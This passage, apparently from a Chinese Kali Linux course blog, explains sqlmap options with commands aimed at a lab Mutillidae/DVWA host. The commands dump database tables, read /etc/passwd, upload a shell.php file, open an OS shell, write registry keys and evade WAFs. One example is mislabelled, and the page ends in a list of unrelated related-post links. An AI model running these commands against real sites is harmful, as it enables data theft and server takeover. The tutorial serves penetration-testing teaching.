executed--sql-shell         Prompt for an interactive SQL shell--sql-file=SQLFILE  Execute SQL statements from given file(s)

  1. –current-user / –current-db

    –current-user Retrieve DBMS current user
    –current-db Retrieve DBMS current database

    • –current-user

      # 当前数据库管理系统的账号
      root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-user
      

    • –current-db

      # 当前数据库名称
      root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-db
      

2. –hostname

# 查主机名
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --hostname

3. –users

#查所有的用户账户
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --hostname

4. –privileges -U 用户名 (CU 当前账号)

--privileges        Enumerate DBMS users privileges
# #查 guest 用户
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --privileges -U guest

# #当前账号
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --privileges -U CU

#查所有用户
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --privileges

5. –roles

# 角色
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --roles

6. –dbs / -D

--dbs               Enumerate DBMS databases
-D DB               DBMS database to enumerate
-T TBL              DBMS database table(s) to enumerate
-C COL              DBMS database table column(s) to enumerate
-X EXCLUDE          DBMS database identifier(s) to not enumerate
-U USER             DBMS user to enumerate
--exclude-sysdbs    Exclude DBMS system databases when enumerating tables# 列举数据库
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --dbs

# -D 查询指定数据库
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa

# --tables 查询有哪些表
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa --tables

# -T 查询指定表
# --columns 查询有哪些列
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --columns

# --exclude-sysdbs 查询的时候排除系统库
--exclude-sysdbs    Exclude DBMS system databases when enumerating tables
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --exclude-sysdbs -D dvwa

7. –count ##

#查有几条记录
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --columns --count

8. –schema –batch –exclude-sysdbs (使用默认选项)

# 查询表结构
--batch 批处理,自动使用默认选项,不会暂停要求手动选择
--schema 元数据(详细信息,存在于系统库)
--exclude-sysdbs 排除系统库
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --schema --batch --exclude-sysdbs

9. –dump,-C,-T,-D,-start,–stop

--dump              Dump DBMS database table entries
--dump-all          Dump all DBMS databases tables entries# 查询到列之后,就要开始 Dump 数据
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump

# 只想看 user_id 第三条和第四条
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump --start 3 --stop 4

# 全部,批处理
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump-all --batch

10. –dump-all –exclude-sysdbs

# 排除系统库
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump-all --exclude-sysdbs --batch

11. –sql-query “select * from users”

# 单独写一条查询语句
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --sql-query "select * from users"

# 结果被保存在 /root/.sqlmap/output/10.10.10.132
root@kali:~/.sqlmap/output/10.10.10.132/dump/dvwa# cat users.csv

10. Brute force 暴力破解

Brute force:These options can be used to run brute force checks--common-tables     Check existence of common tables--common-columns    Check existence of common columns需要暴破数据库的情况:Mysql < 5.0,没有 information_schema 库Mysq| >= 5.0,但无权读取information_schema 库时微软的 access 数据库,默认无权读取 MSysObjects 库

1. –common-tables

# 暴力破解表
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --common-tables

2. –common-columns (Access 系统表无列信息)

#暴力破解当前表的列,也可以手动指定
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -T accounts --common-columns

11.User-defined function injection 用户定义功能注入

User-defined function injection:These options can be used to create custom user-defined functions--udf-inject        Inject custom user-defined functions--shared-lib=SHLIB  Local path of the shared library

1. –udf-inject / –shared-lib

编译共享库创建并上传至DB Server,以此生成UDF实现高级注入
Linux : shared object
Windows: DLL

详细文档:
https://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides?qid=77a8a74f-5a5f-438f-b0b0-18effb237ba4&v=&b=&from_search=1

文档内容百度云网盘下载文件 密码:5p6z

12. File system access 文件系统访问

File system access:These options can be used to access the back-end database managementsystem underlying file system--file-read=RFILE   Read a file from the back-end DBMS file system--file-write=WFILE  Write a local file on the back-end DBMS file system--file-dest=DFILE   Back-end DBMS absolute filepath to write to

1. –file-read=”/etc/passwd”

# 读取系统的文件,并写入sqlmap 文件
root@kali:~/.sqlmap/output/10.10.10.132# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-read="/etc/passwd"

root@kali:~/.sqlmap/output/10.10.10.132/files# cat _etc_passwd

2. –file-write=”shell.php” / –file-dest “/tmp/shell.php”

  • –file-write 写入文件,要求在路径下必须存在此文件,将这个文件写入到服务器

    root@kali:~# echo "AAAAAAAAAAAAAA" > shell.php
    
  • –file-dest 服务器放置文件的路径

    root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-write="/root/shell.php" --file-dest "/tmp/shell.php"
    


13. Operating system access 操作系统访问

Operating system access:These options can be used to access the back-end database managementsystem underlying operating system--os-cmd=OSCMD      Execute an operating system command--os-shell          Prompt for an interactive operating system shell--os-pwn            Prompt for an OOB shell, Meterpreter or VNC--os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC--os-bof            Stored procedure buffer overflow exploitation--priv-esc          Database process user privilege escalation--msf-path=MSFPATH  Local path where Metasploit Framework is installed--tmp-path=TMPPATH  Remote absolute path of temporary files directoryMysql、postgresql上传共享库并生成sys_exec()、sys_eval()两个UDF
Mssqlxp_cmdshell 存储过程(有就用、禁了启,没有建)

1. –os-cmd

--os-cmd=OSCMD      Execute an operating system command
root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-cmd id
# 错误提示没有写权限

2. –sql-shell

--os-shell          Prompt for an interactive operating system shell
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --sql-shell

3. –os-shell

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --os-shell

14. Windows registry access Windows 注册表访问

Windows registry access:These options can be used to access the back-end database managementsystem Windows registry--reg-read          Read a Windows registry key value--reg-add           Write a Windows registry key value data--reg-del           Delete a Windows registry key value--reg-key=REGKEY    Windows registry key--reg-value=REGVAL  Windows registry key value--reg-data=REGDATA  Windows registry key value data--reg-type=REGTYPE  Windows registry key value type
# 要求执行数据库操作的用户拥有操作注册表的权限
  1. –reg-read # 读注册表
  2. –reg-add # 添加新的注册表
  3. –reg-del # 删除注册表
  4. –reg-key # 指定注册表的键
  5. –reg-value # 指定注册表的值
  6. –reg-data # 指定注册表的数据
  7. –reg-type # 指定注册表的类型

    # 需要操作系统账号有修改注册表的权限
    sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value="Test" --reg-type="REG_SZ" --reg-data="1"
    

15.General 一般操作

General:These options can be used to set some general working parameters-s SESSIONFILE      Load session from a stored (.sqlite) file-t TRAFFICFILE      Log all HTTP traffic into a textual file--batch             Never ask for user input, use the default behavior--binary-fields=..  Result fields having binary values (e.g. "digest")--check-internet    Check Internet connection before assessing the target--crawl=CRAWLDEPTH  Crawl the website starting from the target URL--crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")--csv-del=CSVDEL    Delimiting character used in CSV output (default ",")--charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")--dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)--encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)--eta               Display for each output the estimated time of arrival--flush-session     Flush session files for current target--forms             Parse and test forms on target URL--fresh-queries     Ignore query results stored in session file--har=HARFILE       Log all HTTP traffic into a HAR file--hex               Use DBMS hex function(s) for data retrieval--output-dir=OUT..  Custom output directory path--parse-errors      Parse and display DBMS error messages from responses--save=SAVECONFIG   Save options to a configuration INI file--scope=SCOPE       Regexp to filter targets from provided proxy log--test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)--test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)--update            Update sqlmap

1. -s: 指定sqlite会话文是件保存位置

默认 sqlmap 查询的信息都保存在 .sqlmap/output/10.10.10.132/ 下
可以用 -s 指定新的位置

2. -t: 指定记录流量文件保存位置

3. –charset: 盲注字符集

例:--charset=0123456789abcdef

4. –crawl: 从起始位置爬站深度

例:--batch -crawl=3

5. –csv-del: 指定其他分隔符, dump数据默认存于“,”分割的CSV文件中

例:--csv-del=";"
# 默认 dump 下来的数据每个列会以“,”分隔
root@kali:~/.sqlmap/output/10.10.10.132/dump/dvwa# cat users.csv

# 指定使用“;”分隔
root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump-all --exclude-sysdbs --batch --csv-del=";"

root@kali:~/.sqlmap/output/10.10.10.132/dump/dvwa# cat users.csv

6. –encoding:指定字符编码

例:--encoding=GBK

7. –flush-session: 清空会话 #清空本地查询的保存结果

8. –force-ssl:指定使用 ssl 加密

9. –fresh-queries: 忽略 session 文件内的查询结 ##果

10. –hex: dump非ASCI字符内容时,将其编码为16进制形式,收到后解码还原

sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3

11. –output-dir:指定输出目录(默认optput)

例:--output-dir=/tmp

12. –parse-errors: 分析和现实数据库内建报错信息

sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=" --parse-errors

13. –save: 将命令保存成配置文件

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details"  -D dvwa -T users --dump-all --exclude-sysdbs --batch --csv-del=";" --fresh-queries --save /root/111.txt
root@kali:~# cat 111.txt

16. Miscellaneous 杂项

Miscellaneous:-z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")--alert=ALERT       Run host OS command(s) when SQL injection is found--answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")--beep              Beep on question and/or when SQL injection is found--cleanup           Clean up the DBMS from sqlmap specific UDF and tables--dependencies      Check for missing (non-core) sqlmap dependencies--disable-coloring  Disable console output coloring--gpage=GOOGLEPAGE  Use Google dork results from specified page number--identify-waf      Make a thorough testing for a WAF/IPS/IDS protection--mobile            Imitate smartphone through HTTP User-Agent header--offline           Work in offline mode (only use session data)--purge-output      Safely remove all content from output directory--skip-waf          Skip heuristic detection of WAF/IPS/IDS protection--smart             Conduct thorough tests only if positive heuristic(s)--sqlmap-shell      Prompt for an interactive sqlmap shell--tmp-dir=TMPDIR    Local directory for storing temporary files--web-root=WEBROOT  Web server document root directory (e.g. "/var/www")--wizard            Simple wizard interface for beginner users

1. -Z: 参数助记符

sqlmap --batch --random-agent --ignore-proxy-technique=BEU -U "1.1.1.1/a.php?id=1"
#支持简写
sqlmap -z "bat,randoma,ign,tec=BEU" -u " 1.1.1.1/a.php?id=1"sqlmap --ignore-proxy --flush-session-echnique=U --dump -D testdb -T users -U "1.1.1.1/a.php?id=1 "
# 支持简写
sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "1.1.1.1/vuln.php?id=1"

2. –answer

# 指定问题的回答
sqlmap -u "http://1.1.1.1/a.php?id=l" --technique=E --answers="extending=N" --batch

3. –identify-waf

# 对一个waf/ip/ids保护进行彻底的测试

4. –skip-waf

# 跳过对waf/ip/ids保护的启发式检测

5. –hpp: HTTP parameter pollution

# 绕过WAF/IPS/IDS的有效方法
# 尤其对 ASP/IIS 和 ASP.NET/IIS

6. –offline

# 在脱机模式下工作(只使用会话数据)

7. –mobile

# 通过HTTP用户代理头模拟智能手机

8. –dependencies

# 检查缺失的(非核心)sqlmap依赖项

9. –smart

# 只有当积极的启发式扫描时才进行全面的测试
# 先检查简单的,结果正确,再进一步检测

10. –web-root

# Web服务器文档根目录

11. –wizard

# 为初学者用户提供简单的向导界面
root@kali:~# sqlmap --wizard

12. –purge-output

# 安全地从输出目录中删除所有内容, 清除output文件夹

Kali Linux渗透测试 093 自动注入-Sqlmap相关推荐

  1. Kali Linux 渗透测试 博客记录

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...

  2. 视频教程-Kali Linux渗透测试全程课与脚本语言编程系列课程-渗透测试

    Kali Linux渗透测试全程课与脚本语言编程系列课程 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥899.00 立即订 ...

  3. Kali Linux渗透测试 073 扫描工具-Vega

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 vega 简介 使用基本流程 扫描的基本使用 使用截 ...

  4. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  5. Kali Linux渗透测试——无线渗透

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程,以及文章: https://blog.csdn.net/qq_38265137/article/details/80370554 h ...

  6. Kali Linux渗透测试——信息收集

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程 渗透测试标准(PTES:http://www.pentest-standard.org)的七个阶段: 1.前期交互阶段:讨论确定渗透 ...

  7. Kali Linux渗透测试 142 Mestasploit 基本使用

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 Kali Linux渗透测试(苑房弘)博客记录 1. ...

  8. 《Kali Linux渗透测试的艺术》—第2章2.3节安全测试方法论

    本节书摘来自异步社区<Kali Linux渗透测试的艺术>一书中的第2章2.3节安全测试方法论,作者[英]Lee Allen , [印尼]Tedi Heriyanto , [英]Shake ...

  9. Kali Linux渗透测试——WEB渗透(一)

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程 文章目录 扫描工具 1.HTTrack 2.Nikto 3.Vega 4.OWASP ZAP 5.Burp Suite 6.AWVS ...

最新文章

  1. Java中的ThreadLocal的使用--学习笔记
  2. php 事件调度,MySQL的事件调度器使用介绍
  3. mysql引擎与操作系统的关系_mysql五大引擎之间的区别和优劣之分
  4. mysql server启动_mysql的启动方式
  5. 国外软件测试方法,ATE软件测试方法研究及实现
  6. 2021-06-27循环控制 mapSet
  7. proteus8.6安装包,单片机仿真软件
  8. 对角化求可逆矩阵_矩阵对角化方法
  9. 小麦亩产一千八(kela)
  10. LaTex多张子图并排排列方法
  11. 只是想要自己喜欢的生活,可是你有资格么?
  12. 元宇宙电商|“NFG”是什么,企业该如何利用元宇宙实现增值呢?
  13. 蓝屏代码0x00000074
  14. 【技术美术百人计划】美术 1.1 美术理论基础
  15. 关于pip install numpy
  16. 基于ZigBee的放射源监控系统研究
  17. win10升级Java版本
  18. 儿童用台灯用白光好还是暖光好?推荐儿童使用的暖光台灯
  19. 1.6 Mac安装Python开发环境
  20. 扯一下关于魔兽改键的蛋

热门文章

  1. Toshiba Satellite U300由预装Vista系统改装Windows XP系统遇到的问题
  2. su: warning: cannot change directory to /home/mysql: No such file or directory
  3. 关于洛谷哪些题目(入门)
  4. 丰富的无线局域网技术
  5. 如何将数据进行数据可视化展现?
  6. 黑马程序员--JavaJAVA 正则表达式 (超详细)
  7. 深度理解抽象类和接口
  8. 前端兼容性问题解决方案
  9. undefined reference to `nids_init'
  10. 二叉树讲解《三》(堆的应用)